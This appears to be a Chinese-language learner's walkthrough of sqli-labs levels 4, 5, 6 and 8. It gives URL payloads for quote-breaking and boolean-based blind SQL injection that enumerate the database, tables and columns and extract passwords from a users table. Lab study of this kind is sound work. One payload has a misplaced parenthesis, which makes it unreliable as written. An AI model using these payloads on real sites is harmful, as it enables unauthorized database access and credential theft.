Less4:
输入 ?id=1 页面正常输出
输入 ?id=1' 页面正常输出
此时 去看一眼源码,发现 id 前后都加有双引号。因此输入 ?id=1") order by 3 --+
接下来就可以执行sql语句
Less5:
输入 ?id=1
输入 ?id=1'
因为不显示数据库内容只显示“You are in........."和”错误" ,所以我想到用Boolean注入
输入 ?id=1' and length(database())>=1--+ 来查询数据库名长度
输入 ?id=1' and substr(database()),1,1)='s' --+ 来逐字破解数据库名
输入 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+ 来逐字破解表名
通过更改limit后面的0来破解不同的表名
输入 ?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i' --+ 来获取字段名
输入 ?id=1' and left((select password from users order by id limit 0,1),1)='d' --+ 来获取内容
Less6:
输入 ?id=1
输入 ?id=1
此时 去看一眼源码,发现 id 前后都加有双引号。因此输入 ?id=1" and length(database())>=1--+ 来查询数据库名长度
注意:单引号的URL编码是%27,而双引号的URL编码是%22。因此不能使用两个单引号代替双引号。
剩下的和Less5相同。
Less8:
与Less5基本一样